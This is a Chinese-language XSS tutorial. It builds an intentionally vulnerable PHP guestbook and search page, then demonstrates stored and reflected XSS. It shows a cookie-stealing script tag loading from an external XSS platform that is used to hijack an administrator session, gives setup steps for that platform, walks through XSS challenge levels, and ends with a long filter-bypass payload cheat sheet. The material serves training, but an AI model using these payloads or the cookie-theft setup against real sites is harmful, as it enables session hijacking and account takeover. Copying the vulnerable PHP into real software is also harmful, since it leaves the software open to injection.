XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
XSS初体验
我们写一个留言板的网站
创建数据库
mysql> create database message;
Query OK, 1 row affected (0.00 sec)
mysql> use message
Database changed
创建留言板的表
mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
Query OK, 0 rows affected (0.01 sec)
网页源码
<!DOCTYPE HTML>
<?php
//留言处理
if(isset($_POST['message']))
$getMessage = $_POST['message'];
else {
$getMessage = "";
}
//全局配置
//数据库配置
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'usbw'; // mysql用户名密码
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn,$dbname);
if($getMessage != ""){
$sql = "insert into board(date, content) values('$date','$getMessage')";
$retval = mysqli_query( $conn, $sql );
}
?>
<html>
<head>
<meta charset="utf-8" />
<title>留言板</title>
</head>
<body>
<h1>英格科技留言板</h1>
<table border=1 width = 100%>
<tr>
<td>日期</td>
<td>内容</td>
</tr>
<?php
// 获取任务
$sql = "select * from board ";
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
die('无法读取数据: ' . mysqli_error($conn));
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
echo "<tr><td> {$row['date']}</td> ".
"<td>{$row['content']} </td> ".
"</tr>";
}
?>
</table>
<form action="index.php" method="post">
内容:
<textarea id="message" name="message"></textarea>
<br />
<input type="submit" value="提交"></input>
</form>
</body>
</html>
测试功能

XSS原理
在打开的留言板网页中按下F12,我们可以看到网页的前端源码
我们可以看到这部分的代码为
<td>hello world </td>
其中hello world部分为我们自己提交的内容,如果我们提交的内容为</td><script>alert("hello world")</script><td>,那么最终的代码就变成
<td></td> <script>alert("hello world")</script> <td></td>
由此可以看出,我们提交的<script>标签中的代码逃逸到了整个网页的代码中,而不仅仅只是一个字符串了
当我们提交之后,就可以发现浏览器竟然执行了我们的弹窗请求,将hello world以弹窗的形式显示出来
点击确定,再次查看网页源代码,可以看到我们的代码确实已经跑到表格之外
我们先清空留言板数据库
mysql> truncate table board;
Query OK, 0 rows affected (0.01 sec)
浏览器的容器能力比较强,我们根本不需要去闭合前后的标签,浏览器只要看到<xxx>这样的标签,就会自动认为这个是代码的一部分,而不是显示的字符串,在留言板中插入如下代码一样能触发xss
<script>alert("hello world")</script>

XSS种类
存储型xss
存储型xss是将用户提交的xss代码保存到数据库上,当有人访问页面的时候,服务器把数据库里面的xss代码查询出来,插入网页中交给用户,而用户的浏览器会执行其中的代码
存储型xss是持久存储的,每次访问都会被触发
DOM型xss
DOM树
通过JavaScript,可以重构HTML文档,比如我们可以让图片在加载错误的时候,执行我们指定的js脚本,相当于图片的标签就是js的标签
在留言板中提交如下内容,意思是当图片无法加载的时候,就执行后面的代码
<img src="xxx" onerror=alert("xss")>
可以看到图片裂开了,然后就触发了js代码

反射型xss
反射型XSS效果与存储型XSS和DOM型XSS差不多,唯一的差别是反射型XSS直接把GET中的参数显示在网页上,没有经过数据库,而存储型XSS是先存储到服务器上,再回显到网页的。

写一个搜索功能
在上面的留言板后面加上一个搜索功能
<!-- 搜索功能 -->
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'usbw'; // mysql用户名密码
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (isset($_GET['search']))
$getSearch = $_GET['search'];
else {
$getSearch = "";
}
?>
<h1>"<?php echo $getSearch;?>"搜索结果</h1>
<table border=1 width=100%>
<tr>
<td>日期</td>
<td>内容</td>
</tr>
<?php
// 获取任务
$sql = "select * from board where content like '%$getSearch%'";
$retval1 = mysqli_query($conn, $sql);
if (!$retval1) {
die('无法读取数据: ' . mysqli_error($conn));
}
while ($row = mysqli_fetch_array($retval1, MYSQLI_ASSOC)) {
echo "<tr><td> {$row['date']}</td> " .
"<td>{$row['content']} </td> " .
"</tr>";
}
?>
<?php
mysqli_close($conn);
?>
</table>
<form action="index.php" method="get">
搜索:
<textarea id="search" name="search"></textarea>
<br />
<input type="submit" value="搜索"></input>
</form>
测试搜索功能

反射型xss原理
在搜索界面按下f12查看源代码
这个双引号中的12是我们自己输入的,所以可以对代码进行闭合,由于前面讲过浏览器对于js标签会自动识别执行,所以我们只需要搜索如下内容就能触发反射型xss
<script>alert("hello world")</script>
这个地址栏的地址可以复制给别人点击,这个搜索的内容是不会保存在数据库中
http://localhost:8081/index.php?search=%3Cscript%3Ealert%28%22hello+world%22%29%3C%2Fscript%3E
反射型xss需要构造链接,并且让被攻击者自己点击链接,所以需要与社会工程学配合才可以达到最好效果
XSS的危害
- 盗取各种用户账号
- 窃取用户Cookie资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
攻击者能在一定限度内记录用户的键盘输入
cookie
Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态
Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie,客户端下次再向服务器发送请求时,会自动携带cookie信息,一起发送给服务器
- 服务器发现客户端发送过来的cookie后,会去检查是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息,这时,就可为客户端继续提供有状态化的服务了。
盗取客户端cookie实战
一个留言板的网站
XSS平台准备
xss平台可以自己搭建,也可以使用别人搭建好的,甚至js学习的不错的,可以不需要xss平台,直接将xss得到的信息发到邮箱 本次案例使用的是xss平台(此平台搭建方法见下一节)
- 在xss平台上创建项目

- 选择需要的功能模块

- 获取xss脚本

<script src=http://xss.iproute.cn/0Esg1g?1632111988></script>
插入xss代码
在留言板中进行留言,留言的内容中必须包含xss脚本
提交成功之后,我们就可以在留言板界面看到这条留言,可以发现我们夹带在其中的代码已经被执行了
在xss平台上,我们也可以看到这个游客身份的cookie已经被获取
下面等待管理员上线
模拟管理员上线
这个网站的后台是
https://d20.s.iproute.cn/index.php?c=adminlogin
登录成功后,我们查看到这条留言
此时管理员的cookie已经被提交到xss平台上面,我们已经获取到管理员的cookie以及后台的地址

盗用管理员cookie登录后台
这边使用cookie修改器,强行修改cookie的内容,然后登录后台
修改玩cookie之后,直接发起访问
哪怕直接修改管理员密码都是可以的

xss平台搭建
windows下就可以搭建xss平台,但是xss平台以后工作中使用都是要有公网环境的,而公网服务器大都是Linux系统,所以此处建议熟悉一下Linux下的搭建过程,不要去随意追求省事。
安装nginx
[root@localhost ~]# vim /etc/yum.repos.d/nginx.repo
[nginx]
name=nginx repo
baseurl=http://nginx.org/packages/centos/7/$basearch/
gpgcheck=0
enabled=1
[root@localhost ~]# yum -y install nginx
修改nginx用户
为了方便后面源码文件的权限管理,将nginx和php都设置为www用户
[root@localhost ~]# groupadd www -g 666
[root@localhost ~]# useradd www -u 666 -g 666 -s /sbin/nologin -M
[root@localhost ~]# sed -i '/^user/c user www;' /etc/nginx/nginx.conf
启动nginx并加入开机自启
# 启动nginx服务
[root@localhost ~]# systemctl start nginx
# 设置nginx开机自启动
[root@localhost ~]# systemctl enable nginx
防火墙配置
# 关闭防火墙(不推荐)
[root@localhost ~]# systemctl stop firewalld
[root@localhost ~]# systemctl disable firewalld
# 防火墙放行指定的协议
[root@localhost ~]# firewall-cmd --add-service=http --permanent
success
[root@localhost ~]# firewall-cmd --reload
success
使用第三方扩展源安装php7.1
[root@localhost ~]# vim /etc/yum.repos.d/php.repo
[php]
name = php Repository
baseurl = http://repo.webtatic.com/yum/el7/x86_64/
gpgcheck = 0
# 安装epel扩展软件仓库
[root@localhost ~]# yum -y install epel-release
[root@localhost ~]# yum -y install php71w php71w-cli php71w-common php71w-devel php71w-embedded php71w-gd php71w-mcrypt php71w-mbstring php71w-pdo php71w-xml php71w-fpm php71w-mysqlnd php71w-opcache php71w-pecl-memcached php71w-pecl-redis php71w-pecl-mongodb
修改php-fpm用户为www
[root@localhost ~]# sed -i '/^user/c user = www' /etc/php-fpm.d/www.conf
[root@localhost ~]# sed -i '/^group/c user = www' /etc/php-fpm.d/www.conf
启动php-fpm
[root@localhost ~]# systemctl start php-fpm
[root@localhost ~]# systemctl enable php-fpm
修改nginx配置文件
主要让nginx支持php的fastcgi
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
# 将下面这一行从location中移动到server下
root /usr/share/nginx/html;
# 在最后一行的大括号前,加上下面的代码
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# 重启nginx,让配置生效
[root@localhost ~]# systemctl restart nginx
测试是否能正常运行php

安装mariadb数据库
[root@localhost ~]# yum install mariadb-server mariadb -y
[root@localhost ~]# systemctl start mariadb
[root@localhost ~]# systemctl enable mariadb
[root@localhost ~]# mysqladmin password '123456'
[root@localhost ~]# mysql -uroot -p123456
创建xssplatform数据库
MariaDB [(none)]> create database xssplatform;
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| test |
| xssplatform |
+--------------------+
5 rows in set (0.00 sec)
配置rewrite规则
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
# 修改location里面的内容如下
location / {
index index.php index.html index.htm;
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
}
# 重启nginx,让配置生效
[root@localhost ~]# systemctl restart nginx
部署xssplatform
清空/usr/share/nginx/html目录下的所有文件
上传xssplatform到/usr/share/nginx/html目录下
[root@localhost ~]# cd /usr/share/nginx/html/
[root@localhost html]# rm -rf *
[root@localhost html]# unzip xssplatform.zip
[root@localhost html]# chown -R www.www /usr/share/nginx/html
[root@localhost html]# setenforce 0

XSS防范
替换双引号
可以添加对提交语句的过滤,比如如果遇到引号,就用html的特殊字符进行替换
| HTML 原代码 | 显示结果 | 描述 |
|---|---|---|
< |
< | 小于号或显示标记 |
> |
> | 大于号或显示标记 |
& |
& | 可用于显示其它特殊字符 |
" |
“ | 引号 |
® |
® | 已注册 |
© |
© | 版权 |
™ |
™ | 商标 |
  |
半个空白位 | |
  |
一个空白位 | |
|
不断行的空白 |
替换的php代码
$getMessage = str_replace("\"", """,$getMessage);
提交正常的带引号的评论进行测试
提交xss弹窗语句,发现双引号已经被替换
提交不用双引号的xss代码
<script>alert(/hello world/)</script>

替换script
替换script,就可以让代码执行不起来了,再加上一个替换语句
$getMessage = str_replace("script", "",$getMessage);
再次提交xss代码,发现script代码已经被吞
尝试提交下面的代码绕过
<sCRiPt>alert(/hello world/)</ScRIpT>
大小写绕过成功
假如我们将大小写全部给匹配上,我们依旧可以利用双写法绕过
<scscriptript>alert(/hello world/)</scrscriptipt>
不用<script>一样能触发xss
<img src="x" onerror=alert(/xss/)>
XSS挑战之旅
Level-1
在“name=”后面写什么,网页就显示什么。
查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:<script>alert(1)</script>

Level-2
在搜索框中输入<script>alert(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了
但value里面没有过滤掉,闭合value的值,"><script>alert(1)</script>成功弹出窗口

Level-3
在搜索框中输入<script>alert(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被转义了
将<script>alert(1)</script>进行编码后尝试
发现还是被转译了
由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出
' onfocus=javascript:alert(1) '
在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。
这种方法在CTF中可以用到,实际的利用会比较困难。

Level-4
在搜索框中输入<script>alert(1)</script>,查看网页源码,发现<>被转义和过滤掉了。和Level-3一样,可以利用input标签的其他属性进行窗口弹出,
" onfocus=javascript:alert(1) "

Level-5
在搜索框中输入<script>alert(1)</script>,查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。
输入"><a href=javascript:alert(1)>点我啊</a>

Level-6
在搜索框中输入<script>alert(1)</script>等代码。发现转义了script、on、href、src等关键词。
尝试大小写绕过:" ><sCRipt>alert(1)</script>
当然使用万能的修改Input源码也是可以触发的
Level-7
发现过滤了很多关键词:
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
尝试双写script绕过
" ><sCRsCRiptipt>alert(1)</scrscriptipt>

Level-8
输入<script>alert(1)</script>,发现输入的内容在a标签的href内。
在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用
利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过
前面在SQL注入绕过阶段就讲过空字符绕过,回顾一下
| 编码 | 空格字符 |
|---|---|
| %09 | TAB键(水平制表符) |
| %0a | 新的一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键(垂直制表符) |
| %a0 | 空格 |

Level-9
输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常
疑似检测字符串是否存在http://,所以写一个不是网址的字符串
hellohttp://world
输入javas%0acript:alert(1) <!-- http:// -->
或者javas%0acript:alert(1) // http://

Level-10
使用万能的input方法...当然不建议,只是带大家回顾一下(*╯3╰)
观察源码,发现有个form表单,然后默认是GET提交的方式,里面有三个被隐藏的input,我们尝试一个个的手动提交这些变量名,结果发现t_sort会被携带在value中
提交一下t_sort的值
发现出现在value中了
构建攻击内容
?t_sort=1" onfocus=alert(1) type=“text”
查看一下提交之后的源码

Level-11
提交?t_sort=1" onfocus=alert(1) type=“text”发现已经讲特殊符号实体化,在前端源码中发现了新线索就是这个t_ref,疑似referer
尝试使用修改请求中的referer,然后发现填写的内容出现在了value中
构造攻击语句
?t_sort=1" onfocus=alert(1) type=“text”

Level-12
打开源码,发现ua,那就和Level-11的方式一样了

Level-13
与11和12一样
查询到cookie的名称为user
提交攻击语句

Level-14
原版第14关是无法正常工作的,这边英格已经将代码补齐了,这关是考察图片的exif信息会导致xss
可以看到会显示照片的作者在网页上
找张图片修改作者的信息
将图片传上去,就可以触发xss

Level-15
这关考察的是AngularJS的ng-include指令,可以在源码中看到引入了angularjs,并且页面中存在ng-include
关于ng-include的指令可以参考https://www.runoob.com/angularjs/ng-ng-include.html
我们引入第一关的页面
利用第一关的xss

Level-16
先试试<script>alert(1)</script>,发现script被替换为 
不使用script,换成<img src=1 onerror=alert(1)>,发现空格被替换
使用%0a替代空格
<img%0asrc=1%0aonerror=alert(1)>

Level-17
尝试修改一下变量值,可以看到会被填到src部分,并且src没有引号,不需要闭合
传入<script>alert(1)</script>进行测试,不能使用<或者>符号
传入onclick=alert(1)进行测试,发现前面没有空格隔开不行
传入%20onclick=alert(1),进行测试,但是无法点击触发
修改为%20onmouseover=alert(1),鼠标滑过成功触发

Level-18
和17关一样
%20onmouseover=alert(1)

Level-19
flash漏洞,鉴于现在flash已经全面淘汰,此漏洞没有研究价值
下图是payload,但是浏览器已经无法加载flash了,所以没有触发,如果以后遇到有flash的页面的话,可以尝试去找找flash的通用漏洞。

Level-20
同Level-19,漏洞已过时
XSS绕过
a标签
#javascript协议
<a href=javascript:alert(1)>点我啊</a>
# data协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
# url编码的data协议
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# 另两种方式实现
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>
script标签
# 直接弹窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>
# javascript协议编码
<script>alert(String.fromCharCode(49))</script>
# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>
button标签
# 点击弹窗
<button/onclick=alert(1) >点我</button>
# 不需要点击就能弹窗
<button onfocus=alert(1) autofocus>
p标签
# 可以直接使用事件触发
<p/onmouseover=alert(1)>点我</p>
img标签
# 可以使用事件触发
<img src=x onerror=alert(1)>
body标签
# 事件触发
<body onload=alert(1)>
# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
var标签
# 事件触发,一般是用不需交互的事件比如鼠标移动等
<var onmousemove=alert(1)>M</var>
div标签
# 事件触发
<div/onclick='alert(1)'>X</div>
input标签
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
select标签
<select onfocus=javascript:alert(1) autofocus>
textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
audio标签
<audio src=x onerror=alert(47)>
embed标签
<embed src=javascript:alert(1)>
meta标签
测试发现,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一个思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来达成一些目的。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
marquee标签
<marquee onstart="alert('1')"></marquee>
isindex标签
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
当过滤掉javascript,alert等常见关键词,单引号,双引号,分号时,可以尝试使用以上不同的标签插入,达到弹出窗口的目的。
大小写绕过
<sCript>
alert被过滤
可以尝试prompt和confirm
空格被过滤
<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
长度限制
<q/oncut=alert(1)>//在限制长度的地方很有效
括号被过滤
可以使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
过滤某些关键字
如:javascript, 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert(),其中%0a表示换行。
编码绕过
十六进制编码、jsfuck编码、url编码、unicode编码
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">